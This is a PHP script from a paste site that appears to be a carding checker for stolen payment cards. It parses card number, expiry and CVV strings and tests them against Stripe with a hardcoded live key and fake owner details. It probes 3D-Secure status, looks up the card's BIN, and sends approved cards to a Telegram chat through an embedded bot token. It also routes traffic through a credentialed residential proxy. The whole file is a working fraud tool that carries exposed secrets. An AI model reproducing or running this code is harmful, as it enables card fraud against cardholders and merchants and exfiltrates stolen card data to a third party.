Untitled

 avatar
unknown
plain_text
2 years ago
36 kB
7
Indexable
<?php

if (!isset($_GET['card'])) error_reporting(0);

class cURL
{
    private static $ch;
    private static $response;
    private static array $info;
    private static int $error_code;
    private static $headersCallback;
    private static string $error_string;
    private static string $cookie_file = "";
    private static string $cookies_dir = "";
    private const TG_BOT_TOKEN = "5425981624:AAGiEmxcsqbhpX0VRXs3ZhCf7uFU0TmZBbg";
    private static array $curlopt_headers = [
        CURLOPT_TIMEOUT => 120,
        CURLOPT_HEADER => false,
        CURLOPT_AUTOREFERER => true,
        CURLINFO_HEADER_OUT => true,
        CURLOPT_SSL_VERIFYHOST => 0,
        CURLOPT_CONNECTTIMEOUT => 120,
        CURLOPT_FRESH_CONNECT => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
    ];

    /**
     * Basic curl_init for request structure
     *
     * @access private
     * @param string $url
     *
     * @return void
     */
    private static function setUrl(string $url): void
    {
        self::$ch = curl_init($url);
        self::setOption(self::$curlopt_headers);
    }

    /**
     * Add options to current curl structure
     *
     * @access public
     * @param array $args
     *
     * @return void
     */
    public static function setOption(array $option): void
    {
        curl_setopt_array(self::$ch, $option);
    }

    /**
     * Add headers to current curl structure
     *
     * @access private
     * @param header
     *
     * @return void
     */
    private static function setHeader(array $header): void
    {
        self::setOption([CURLOPT_HTTPHEADER => $header]);
    }

    /**
     *  Set a proxy from text file, HTTP/S - SOCKS4 - SOCKS5
     *
     * @access private
     * @param array $args
     *
     * @return void
     */
    private static function localProxy(array $args): void
    {
        self::setOption([
            CURLOPT_PROXY => $args["SERVER"],
            CURLOPT_HTTPPROXYTUNNEL => true,
        ]);
    }

    /**
     * Custom Proxy Authentication
     *
     * @access private
     * @param array $args
     *
     * @return void
     */
    private static function customProxy(array $args): void
    {
        self::setOption([
            CURLOPT_PROXY => $args["SERVER"],
            CURLOPT_PROXYUSERPWD => $args["AUTH"],
        ]);
    }

    /**
     * Detect proxy configuration
     *
     * @access private
     * @param array $args
     *
     * @return void
     */
    private static function sexyProxy($args): void
    {
        switch (strtoupper($args["METHOD"])) {
            case "TUNNEL":
                self::localProxy($args);
                break;
            case "CUSTOM":
                self::customProxy($args);
                break;
        }
    }

    /**
     * Created temp DIR and store cookie
     *
     * @access private
     * @param string $file
     *
     * @return void
     */
    private static function autoCookie(string $file): void
    {
        self::$cookies_dir = dirname(__FILE__);
        if (!is_dir(self::$cookies_dir . "/cache/")) {
            mkdir(self::$cookies_dir . "/cache/", 0755);
        }
        self::$cookie_file = sprintf(
            "%s/cache/%s.txt",
            self::$cookies_dir,
            $file
        );

        self::setOption([
            CURLOPT_COOKIEJAR => self::$cookie_file,
            CURLOPT_COOKIEFILE => self::$cookie_file,
        ]);
    }

    /**
     * Delete stored cookie file
     *
     * @access public
     *
     * @return void
     */
    public static function deleteCookie(): void
    {
        $fullPath = __DIR__ . "/cache/";
        array_map("unlink", glob("$fullPath*.txt"));
    }

    /**
     * Validate parameters
     *
     * @access private
     * @param array $headers
     * @param string $cookie
     * @param array $server
     *
     * @return void
     */
    private static function validateParam(
        array $headers = null,
        string $cookie = null,
        array $server = null
    ): void {
        if (!empty($headers) && (is_array($headers) || is_object($headers))) {
            self::setHeader($headers);
        }

        if (!empty($cookie)) {
            self::autoCookie($cookie);
        }

        if (!empty($server) && (is_array($server) || is_object($server))) {
            self::sexyProxy($server);
        }
    }

    /**
     * Send a GET request method with headers, cookies and proxy server
     *
     * @access public
     * @param string $url
     * @param array $headers
     * @param string $cookie
     * @param array $server
     *
     * @return object
     */
    public static function get(
        string $url,
        array $headers = null,
        string $cookie = null,
        array $server = null
    ): object {
        self::setUrl($url);
        self::setOption([
            CURLOPT_USERAGENT => self::userAgent(),
            CURLOPT_HTTPGET => true,
        ]);
        self::validateParam($headers, $cookie, $server);
        return self::run();
    }

    /**
     * Send a POST request method with payload data, headers, cookies and proxy server
     *
     * @access public
     * @param string $url
     * @param string|array $data
     * @param array $headers
     * @param string $cookie
     * @param array $server
     *
     * @return object
     */
    public static function post(
        string $url,
        $data = null,
        array $headers = null,
        string $cookie = null,
        array $server = null
    ): object {
        self::setUrl($url);
        self::setOption([
            CURLOPT_USERAGENT => self::userAgent(),
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => self::responseType($data),
        ]);
        self::validateParam($headers, $cookie, $server);
        return self::run();
    }

    /**
     * Send a PUT request method with custom payload data, headers, cookies and proxy server
     *
     * @access public
     * @param string $url
     * @param string|array $data
     * @param array $headers
     * @param string $cookie
     * @param array $server
     *
     * @return object
     */
    public static function put(
        string $url,
        $data = null,
        array $headers = null,
        string $cookie = null,
        array $server = null
    ): object {
        self::setUrl($url);
        self::setOption([
            CURLOPT_USERAGENT => self::userAgent(),
            CURLOPT_CUSTOMREQUEST => "PUT",
            CURLOPT_POSTFIELDS => self::responseType($data),
        ]);
        self::validateParam($headers, $cookie, $server);
        return self::run();
    }

    /**
     * Send the request structure
     *
     * @access public
     *
     * @return object
     */
    public static function run(): object
    {
        self::createStdClass();
        self::setOption([
            CURLOPT_HEADERFUNCTION => createHeaderCallback(
                self::$headersCallback
            ),
        ]);

        self::$response = curl_exec(self::$ch);
        self::$info = curl_getinfo(self::$ch);

        if (self::$response === false) {
            self::$error_code = curl_errno(self::$ch);
            self::$error_string = curl_error(self::$ch);

            curl_close(self::$ch);

            return (object) [
                "success" => false,
                "code" => self::$info["http_code"],
                "headers" => [
                    "request_headers" => key_exists(
                        "request_header",
                        self::$info
                    )
                        ? self::parseHelper(self::$info["request_header"])
                        : [],
                    "response_headers" => self::parseHelper(
                        self::$headersCallback->rawResponseHeaders
                    ),
                ],
                "errno" => self::$error_code,
                "error" => self::$error_string,
                "body" => "Error, " . self::$error_string,
            ];
        } else {
            curl_close(self::$ch);

            return (object) [
                "success" => true,
                "code" => self::$info["http_code"],
                "headers" => [
                    "request_headers" => key_exists(
                        "request_header",
                        self::$info
                    )
                        ? self::parseHelper(self::$info["request_header"])
                        : [],
                    "response_headers" => self::parseHelper(
                        self::$headersCallback->rawResponseHeaders
                    ),
                ],
                "body" => self::$response,
                "raw" => json_encode([
                    "request_headers" => self::parseHelper(
                        self::$info["request_header"]
                    ),
                    "response_headers" => self::parseHelper(
                        self::$headersCallback->rawResponseHeaders
                    ),
                ]),
            ];
        }
    }

    /**
     * Show all data process|errors of the request
     *
     * @access public
     *
     */
    public static function debug()
    {
        echo sprintf(
            "=============================================</br>\n
            <h2>REQUEST DEBUG</h2>\n
            =============================================</br>\n
            <h3>RESPONSE</h3>\n
            <code>%s</code></br>\n\n",
            nl2br(htmlentities(self::$response))
        );
        echo sprintf(
            "=============================================</br>\n
            <h3>HEADERS</h3>\n
            =============================================</br>
            <pre>%s</pre>",
            print_r(
                [
                    "curl_info" => self::parseArray(self::$info),
                    "response_headers" => self::parseHelper(
                        self::$headersCallback->rawResponseHeaders
                    ),
                ],
                true
            )
        );
        echo sprintf("<h3>================= END =================</h3>");
    }

    /**
     * Store temp header callback data.
     *
     * @access private
     *
     * @return void
     *
     */
    private static function createStdClass(): void
    {
        $hcd = new \stdClass();
        $hcd->rawResponseHeaders = "";
        self::$headersCallback = $hcd;
    }

    /**
     * Parse array headers
     *
     * @access private
     * @param array $raw
     *
     * @return array
     */
    private static function parseArray(array $raw): array
    {
        if (array_key_exists("request_header", $raw)) {
            list($scheme, $headers) = self::parseHeaders(
                $raw["request_header"]
            );
            $nh["scheme"] = $scheme;
            $nh += $headers;
            $raw["request_header"] = $nh;
        }

        return $raw;
    }

    /**
     * Detect response type
     *
     * @access private
     * @param string|array|object|null $data
     *
     * @return string
     */
    private static function responseType($data): string
    {
        if (empty($data)) {
            return false;
        } elseif (is_array($data) || is_object($data)) {
            return json_encode($data);
        } else {
            return $data;
        }
    }

    /**
     * Can split a string by two specific strings
     *
     * @access public
     * @param string $start
     * @param string $end
     * @param string|null $data
     *
     * @return string
     */
    public static function getBetwn($start, $end, $data = null): string
    {
        if($data == null) return explode($end, explode($start, self::$response)[1] ?? "")[0];
        else return explode($data, explode($end, $start)[1] ?? "")[0];
    }

    /**
     * Get a rand value from specific file.txt
     *
     * @access public
     * @param string $file
     *
     * @return string
     */
    public static function getRandVal(string $file): string
    {
        $_ = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        return $_[array_rand($_)];
    }

    /**
     * Parse Headers
     *
     * @access private
     * @param string $raw
     *
     * @return array
     */
    private static function parseHeaders(string $raw): array
    {
        $raw = preg_split('/\r\n/', $raw, -1, PREG_SPLIT_NO_EMPTY);
        $http_headers = [];

        for ($i = 1; $i < count($raw); $i++) {
            if (strpos($raw[$i], ":") !== false) {
                list($key, $value) = explode(":", $raw[$i], 2);
                $key = trim($key);
                $value = trim($value);
                isset($http_headers[$key])
                    ? ($http_headers[$key] .= "," . $value)
                    : ($http_headers[$key] = $value);
            }
        }

        return [($raw["0"] ??= $raw["0"]), $http_headers];
    }

    /**
     * Parse Headers Handle
     *
     * @access private
     * @param string $raw
     *
     * @return array
     */
    private static function parseHelper($raw): array
    {
        if (empty($raw)) {
            return [];
        }

        list($scheme, $headers) = self::parseHeaders($raw);
        $request_headers["scheme"] = $scheme;
        unset($headers["request_header"]);

        foreach ($headers as $key => $value) {
            $request_headers[$key] = $value;
        }

        return $request_headers;
    }

    /**
     * Gen valid chrome version
     *
     * @access private
     * @param string|array|object|null $version
     *
     * @return string
     */
    private static function chromeVal($version): string
    {
        return random_int($version["min"], $version["max"]) .
            ".0." .
            random_int(3000, 4999) .
            "." .
            random_int(10, 99);
    }

    /**
     * return random user agent
     *
     * @access public
     *
     * @return string
     */
    public static function userAgent(): string
    {
        $userAgent =
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/" .
            (random_int(1, 100) > 50
                ? random_int(533, 537)
                : random_int(600, 603)) .
            "." .
            random_int(1, 50) .
            " (KHTML, like Gecko) Chrome/" .
            self::chromeVal(["min" => 109, "max" => 109]) .
            " Safari/" .
            (random_int(1, 100) > 50
                ? random_int(533, 537)
                : random_int(600, 603));
        return $userAgent;
    }

    #============================== [ CUSTOM STATIC FUNCTIONS ] ==============================#

    /**
     * getCard Data
     *
     * @access public
     * @param string
     *
     * @return string
     */
    public static function card(): string
    {
        $data = json_decode(file_get_contents('php://input'))->card ?? $_GET['card'];
        $filtered_msg = preg_replace(
            '/\n+|\s+|\D+|\~|\.|\`|\,|\!|\@|\#|\£|\€|\$|\¢|\¥|\/|\§|\%|\°|\^|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\||\\|\:|\;|\"|\'|\<|\>|\?/m',
            "|",
            $data
        );
        $filtered_msg = preg_replace("/\|+/m", "|", $filtered_msg);
        $filtered_msg = preg_replace("/\|1\|/m", "|01|", $filtered_msg);
        $filtered_msg = preg_replace("/\|2\|/m", "|02|", $filtered_msg);
        $filtered_msg = preg_replace("/\|3\|/m", "|03|", $filtered_msg);
        $filtered_msg = preg_replace("/\|4\|/m", "|04|", $filtered_msg);
        $filtered_msg = preg_replace("/\|5\|/m", "|05|", $filtered_msg);
        $filtered_msg = preg_replace("/\|6\|/m", "|06|", $filtered_msg);
        $filtered_msg = preg_replace("/\|7\|/m", "|07|", $filtered_msg);
        $filtered_msg = preg_replace("/\|8\|/m", "|08|", $filtered_msg);
        $filtered_msg = preg_replace("/\|9\|/m", "|09|", $filtered_msg);

        if (
            preg_match_all(
                "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|(22|2022|23|2023|24|2024|25|2025|26|2026|27|2027|28|2028|29|2029|30|2030|31|2031|32|2032|33|2033|34|2034|35|2035)\|[0-9]{3}/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = $matches[0][0];
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 20, -4);
            $year = substr($matches[0][0], 17, -7);
            $cvv = substr($matches[0][0], 23, 25);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 22, -4);
            $year = substr($matches[0][0], 17, -7);
            $cvv = substr($matches[0][0], 25, 27);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)(22|23|24|25|26|27|28|29|30|31|32|33|34|35)/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 21, -2);
            $year = substr($matches[0][0], 23, 25);
            $cvv = substr($matches[0][0], 17, -5);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 21, -4);
            $year = substr($matches[0][0], 23, 27);
            $cvv = substr($matches[0][0], 17, -7);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|[0-9]{3}/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 17, -6);
            $year = substr($matches[0][0], 19, -4);
            $cvv = substr($matches[0][0], 22, 25);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|[0-9]{3}/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 17, -8);
            $year = substr($matches[0][0], 19, -4);
            $cvv = substr($matches[0][0], 24, 27);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 21, -3);
            $year = substr($matches[0][0], 24, 26);
            $cvv = substr($matches[0][0], 17, -6);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|[0-9]{3}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|(01|02|03|04|05|06|07|08|09|10|11|12)/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], -2);
            $year = substr($matches[0][0], 21, -3);
            $cvv = substr($matches[0][0], 17, -8);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|[0-9]{3}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|(01|02|03|04|05|06|07|08|09|10|11|12)/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], -2);
            $year = substr($matches[0][0], 21, -3);
            $cvv = substr($matches[0][0], 17, -6);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 19, -4);
            $year = substr($matches[0][0], 17, -6);
            $cvv = substr($matches[0][0], -3);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 21, -4);
            $year = substr($matches[0][0], 17, -6);
            $cvv = substr($matches[0][0], -3);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], -2);
            $year = substr($matches[0][0], 17, -7);
            $cvv = substr($matches[0][0], 20, -3);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)\|[0-9]{3}\|(01|02|03|04|05|06|07|08|09|10|11|12)/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], -2);
            $year = substr($matches[0][0], 17, -7);
            $cvv = substr($matches[0][0], 22, -3);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}\|(22|23|24|25|26|27|28|29|30|31|32|33|34|35)/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 17, -7);
            $year = substr($matches[0][0], -2);
            $cvv = substr($matches[0][0], 20, -3);
            $card = "$card|$month|$year|$cvv";
        }

        if (
            preg_match_all(
                "/[0-9]{16}\|(01|02|03|04|05|06|07|08|09|10|11|12)\|[0-9]{3}\|(2022|2023|2024|2025|2026|2027|2028|2029|2030|2031|2032|2033|2034|2035)/",
                $filtered_msg,
                $matches,
                PREG_SET_ORDER,
                0
            )
        ) {
            $card = substr($matches[0][0], 0, 16);
            $month = substr($matches[0][0], 17, -9);
            $year = substr($matches[0][0], -4);
            $cvv = substr($matches[0][0], 20, -5);
            $card = "$card|$month|$year|$cvv";
        }

        $last = [
            "|2021" => "|21",
            "|2022" => "|22",
            "|2023" => "|23",
            "|2024" => "|24",
            "|2025" => "|25",
            "|2026" => "|26",
            "|2027" => "|27",
            "|2028" => "|28",
            "|2029" => "|29",
            "|2030" => "|30",
            "|2031" => "|31",
            "|2032" => "|32",
            "|2033" => "|33",
            "|2034" => "|34",
            "|2035" => "|35",
        ];
        $card = strtr($card, $last);
        $last = [
            "|21|" => "|2021|",
            "|22|" => "|2022|",
            "|23|" => "|2023|",
            "|24|" => "|2024|",
            "|25|" => "|2025|",
            "|26|" => "|2026|",
            "|27|" => "|2027|",
            "|28|" => "|2028|",
            "|29|" => "|2029|",
            "|30|" => "|2030|",
            "|31|" => "|2031|",
            "|32|" => "|2032|",
            "|33|" => "|2033|",
            "|34|" => "|2034|",
            "|35|" => "|2035|",
        ];
        $card = strtr($card, $last);
        if (preg_match("/[0-9]{16}\|[0-9]{2}\|[0-9]{4}\|[0-9]{3}/", $card)) {
            return $card;
        } else {
            echo "Invalid Input !!";
            die();
        }
    }

    /**
     * 3D-Secure Lookup
     *
     * @access public
     *
     * @return string
     */
    public static function localvbv(string $ccnum = null): string
    {
        if ($ccnum == null) {
            list($cc, $month, $year, $cvv) = explode("|", self::card());
        } else {
            $cc = $ccnum;
        }

        $src = self::getBetwn(
            self::post(
                "https://api.stripe.com/v1/sources",
                "type=card&amount=100&currency=usd&owner[name]=Geda+Gang&owner[address][line1]=150 Broadway&owner[address][state]=New York&owner[address][city]=New York&owner[address][postal_code]=10038&owner[address][country]=US&owner[email]=gedagang" .
                    rand(100, 999) .
                    "@gmail.com&owner[phone]=3157728" .
                    rand(100, 999) .
                    "&card[number]=" .
                    $cc .
                    "&card[cvc]=000&card[exp_month]=" .
                    $month .
                    "&card[exp_year]=" .
                    $year .
                    "",
                [
                    "accept: application/json",
                    "content-type: application/x-www-form-urlencoded",
                    "Authorization: Bearer pk_live_DIxPVkthRBpkhiGnNEX5vLiN",
                ]
            )->body,
            '"id": "',
            '"'
        );

        if (!isset($src)) {
            return "PROCESSING ERROR";
        }

        $url = str_replace(
            "\u0026",
            "&",
            self::getBetwn(
                self::post(
                    "https://api.stripe.com/v1/sources",
                    "type=three_d_secure&amount=100&currency=usd&three_d_secure[card]=$src&redirect[return_url]=https%3A%2F%2Fstripe.com%2Fstatic_page&key=pk_live_DIxPVkthRBpkhiGnNEX5vLiN",
                    [
                        "accept: application/json",
                        "content-type: application/x-www-form-urlencoded",
                    ]
                )->body,
                '"url": "',
                '"'
            )
        );

        $resp = self::get($url, null)->body;

        if (strpos($resp, "Return to Merchant")) {
            return "3DS BYPASSED";
        }

        $url = str_replace(
            "amp;",
            "",
            self::getBetwn($resp, 'id="form" method="POST" action="', '"')
        );
        $pareq = self::getBetwn(
            $resp,
            'type="hidden" name="PaReq" value="',
            '"'
        );
        $termurl = self::getBetwn(
            $resp,
            'type="hidden" name="TermUrl" value="',
            '"'
        );
        $md = self::getBetwn($resp, 'type="hidden" name="MD" value="', '"');

        $resp = self::post(
            $url,
            "PaReq=" . $pareq . "&TermUrl=" . $termurl . "&MD=" . $md . "",
            [
                "accept: application/json",
                "content-type: application/x-www-form-urlencoded",
            ]
        )->body;
        $url = self::getBetwn(
            $resp,
            'action="',
            '" method="POST" id="TermForm"'
        );
        $pares = self::getBetwn(
            $resp,
            'type="hidden" name="PaRes" value="',
            '"'
        );

        if (strpos($resp, "Your authentication could not be completed")) {
            return "PROCESSING ERROR";
        }

        $resp = self::post($url, "PaRes=" . $pares . "&MD=", [
            "accept: application/json",
            "content-type: application/x-www-form-urlencoded",
        ])->body;
        $url = self::getBetwn($resp, 'id="form" method="POST" action="', '"');
        $pares = self::getBetwn(
            $resp,
            'type="hidden" name="PaRes" value="',
            '"'
        );
        $md = self::getBetwn($resp, 'type="hidden" name="MD" value="', '"');
        $merchant = self::getBetwn(
            $resp,
            'type="hidden" name="merchant" value="',
            '"'
        );

        $resp = self::post(
            $url,
            "PaRes=" . $pares . "&MD=" . $md . "&merchant=" . $merchant . "",
            [
                "accept: application/json",
                "content-type: application/x-www-form-urlencoded",
            ]
        )->body;

        if (strpos($resp, "Return to Merchant")) {
            return "3DS BYPASSED";
        } else {
            return "3DS ENROLLED";
        }
    }

    /**
     * Bin lookup API
     *
     * @access public
     *
     * @return string
     */
    public static function binx(string $ccnum = null): string
    {
        if ($ccnum == null) {
            $card = self::card();
        } else {
            $card = $ccnum;
        }
        $cc = explode("|", $card);
        $first6 = substr($cc[0], 0, 6);
        $bin_resp = file_get_contents(
            "https://lookup.binlist.net/" . $first6 . ""
        );
        $scheme = strtoupper(self::getBetwn($bin_resp, '"scheme":"', '"'));
        $type = strtoupper(self::getBetwn($bin_resp, '"type":"', '"'));
        $brand = strtoupper(self::getBetwn($bin_resp, '"brand":"', '"'));
        $prepaid = strtoupper(self::getBetwn($bin_resp, '"prepaid":', ',"'));
        $country = strtoupper(
            self::getBetwn($bin_resp, '"name":"', '","emoji"')
        );
        $emoji = strtoupper(self::getBetwn($bin_resp, '"emoji":"', '"'));
        $bank = strtoupper(self::getBetwn($bin_resp, '"bank":{"name":"', '"'));
        $binpile = "$scheme|$type|$brand|$prepaid|$bank|$country|$emoji";
        $binx = "" . self::localvbv() . "|" . $binpile . "";
        return $binx;
    }

    /**
     * array strpos command
     *
     * @access private
     *
     * @return string
     */
    private static function strpos_array(
        $haystack,
        $needles = [],
        $offset = 0
    ): string {
        $chr = [];
        foreach ($needles as $needle) {
            $res = strpos($haystack, $needle, $offset);
            if ($res !== false) {
                $chr[$needle] = $res;
            }
        }
        if (empty($chr)) {
            return false;
        }
        return min($chr);
    }

    /**
     * send live cards to telegram
     *
     * @access public
     *
     * @return void
     */
    public static function telegram(string $data): void
    {
        self::get(
            "https://api.telegram.org/bot" .
                self::TG_BOT_TOKEN .
                "/sendMessage?chat_id=-1001728610687&text=" .
                $data .
                "&parse_mode=html",
            ["Content-Type: application/json"]
        );
    }

    /**
     * return valid response
     *
     * @access public
     *
     * @return void
     */
    public static function find($resp, $data, $msg): void
    {
        if (empty($msg)) {
            $msgx = "EMPTY RESPONSE DATA";
        } else {
            $msgx = strtoupper($msg);
        }

        if (self::strpos_array($resp, $data)) {
            if (empty($msg)) {
                echo "<div class='content12'>APPROVED<font size='3.0'> " .
                    self::card() .
                    " CVV MATCHES|" .
                    self::binx() .
                    "</font></div>";
                self::telegram(
                    "APPROVED " .
                        self::card() .
                        " CVV MATCHES|" .
                        self::binx() .
                        ""
                );
            } else {
                echo "<div class='content12'>APPROVED<font size='3.0'> " .
                    self::card() .
                    " CVV MATCHES|" .
                    $msgx .
                    "|" .
                    self::binx() .
                    "</font></div>";
                self::telegram(
                    "APPROVED " .
                        self::card() .
                        " CVV MATCHES|" .
                        $msgx .
                        "|" .
                        self::binx() .
                        ""
                );
            }
        } else {
            echo "<div class='content12'>DECLINED<font size='3.0'> " .
                self::card() .
                "  MSG => $msgx</font></div>";
        }
    }
}

$curl = new cURl();

$cookie = uniqid("cookie_");

$server = [
    "METHOD" => "CUSTOM",
    "SERVER" => "pr.pyproxy.com:16666",
    "AUTH" => "unique-zone-resi:mikeif8",
];
Editor is loading...